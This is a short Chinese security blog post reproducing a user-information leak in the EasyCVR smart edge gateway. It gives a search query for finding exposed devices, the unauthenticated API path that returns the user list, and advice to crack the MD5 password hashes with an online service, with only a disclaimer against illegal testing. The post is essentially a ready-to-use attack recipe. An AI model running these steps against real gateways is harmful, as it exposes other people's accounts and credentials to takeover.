【漏洞复现】EasyCVR智能边缘网关用户信息泄漏漏洞

声明

该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

资产收集

web.title="EasyCVR"

漏洞复现

直接拼接url

/api/v1/userlist?pageindex=0&pagesize=10

password是MD5值加密，在线解密即可（可能需要收费或者无法解密）

在线解密网址

https://www.cmd5.com/

原文始发于微信公众号（Devil安全）：【漏洞复现】EasyCVR智能边缘网关用户信息泄漏漏洞